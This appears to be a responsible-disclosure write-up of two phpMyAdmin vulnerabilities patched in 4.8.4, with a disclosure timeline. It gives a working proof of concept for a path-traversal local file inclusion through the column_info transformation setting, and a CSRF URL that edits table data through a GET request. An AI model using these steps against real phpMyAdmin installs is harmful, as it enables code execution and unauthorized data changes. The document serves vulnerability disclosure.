PHPMyAdmin multiple vulnerabilities

During an assignment, I found several serious vulnerabilities in phpMyAdmin, which is an application massively used to manage MariaDB and MySQL databases. One of them potentially leads to arbitrary code execution by exploiting a Local file inclusion, while the other is a CSRF allowing any table entry to be edited.

1. Local File INCLUSION in transformation feature

The transformation feature from PHPMyAdmin allows to have a specific display for some columns when selecting them from a table. For example, it can transform links in text format to clickable links when rendering them.

Those transformations are defined in PHPMyAdmin’s “column_info” system table, which usually resides in the phpmyadmin database. However, every database can ship its own version of phpmyadmin system tables. For creating phpmyadmin system tables for a specific database, the following call can be used: http://phpmyadmin/chk_rel.php?fixall_pmadb=1&db=*yourdb*.
It will create a set of pma__* tables into your database.

Here is an example of how the transformation is applied, from tbl_replace.php:

<?php

$mime_map = Transformations::getMIME($GLOBALS['db'], $GLOBALS['table']);
[...]
// Apply Input Transformation if defined
if (!empty($mime_map[$column_name])
&& !empty($mime_map[$column_name]['input_transformation'])
) {
   $filename = 'libraries/classes/Plugins/Transformations/'
. $mime_map[$column_name]['input_transformation'];
   if (is_file($filename)) {
      include_once $filename;
      $classname = Transformations::getClassName($filename);
      /** @var IOTransformationsPlugin $transformation_plugin */
      $transformation_plugin = new $classname();
      $transformation_options = Transformations::getOptions(
         $mime_map[$column_name]['input_transformation_options']
      );
      $current_value = $transformation_plugin->applyTransformation(
         $current_value, $transformation_options
      );
      // check if transformation was successful or not
      // and accordingly set error messages & insert_fail
      if (method_exists($transformation_plugin, 'isSuccess')
&& !$transformation_plugin->isSuccess()
) {
         $insert_fail = true;
         $row_skipped = true;
         $insert_errors[] = sprintf(
            __('Row: %1$s, Column: %2$s, Error: %3$s'),
            $rownumber, $column_name,
            $transformation_plugin->getError()
         );
      }
   }
}

The transformation is fetched from the “pma__column_info” system table in the current database, or from the “phpmyadmin” database instead. The “input_transformation” column is used as a filename to include, and is vulnerable to a path traversal that leads to a local file inclusion.

Here is a PoC to exploit this vulnerability:

  1. Create a new database “foo” with a random “bar” table containing a “baz” column, with a data containing PHP code in it (to fill the session with some php code):
    CREATE DATABASE foo;
     CREATE TABLE foo.bar ( baz VARCHAR(255) PRIMARY KEY );
     INSERT INTO foo.bar SELECT '<?php phpinfo() ?>';
  2. Create phpmyadmin system tables in your db by calling http://phpmyadmin/chk_rel.php?fixall_pmadb=1&db=foo
  3. Fill the transformation information with the path traversal in the “pma__column_info” table:
    INSERT INTO `pma__column_info`SELECT '1', 'foo', 'bar', 'baz', 'plop',
     'plop', 'plop', 'plop',
     '[path_traversal]/var/lib/php/sessions/sess_{yourSessionId}','plop';
  4. Browsing to http://phpmyadmin/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1 will trigger the phpinfo(); call.
2. CSRF for updating data in table

This vulnerability is pretty easy to understand. A simple GET request can be used to update data in a table. Here is an example :

http://phpmyadmin/tbl_replace.php?db=*yourDB*&table=*yourTable*&fields_name[multi_edit][0][0]=*fieldToEdit*&fields[multi_edit][0][0]=*fieldNewValue*&clause_is_unique=1&where_clause=*whereClause*

A malicious user could force a logged-in user to update arbitrary tables in arbitrary DBs. This can also be used in a simple <img> element on forums or elsewhere, as the request is a simple GET one.

These vulnerabilities are both important. We responsibly disclosed them and they  were patched on the newly released phpMyAdmin 4.8.4.

Timeline :

  • 2018.06.21 – Initial contact with phpMyAdmin security team.
  • 2018.06.24 – Initial response that the team will investigate.
  • 2018.08.02 – Request for news.
  • 2018.08.28 – Re-request for news.
  • 2018.08.31 – Response from phpMyAdmin team that they’re still in the process of fixing things.
  • 2018.11.01 – Request for news.
  • 2018.12.07 – Apologies from phpMyAdmin + explanation that a lot of code rewrite was necessary for multiple CSRF flaws.
  • 2018.12.11 – New version released with patch.

Update your things! 😉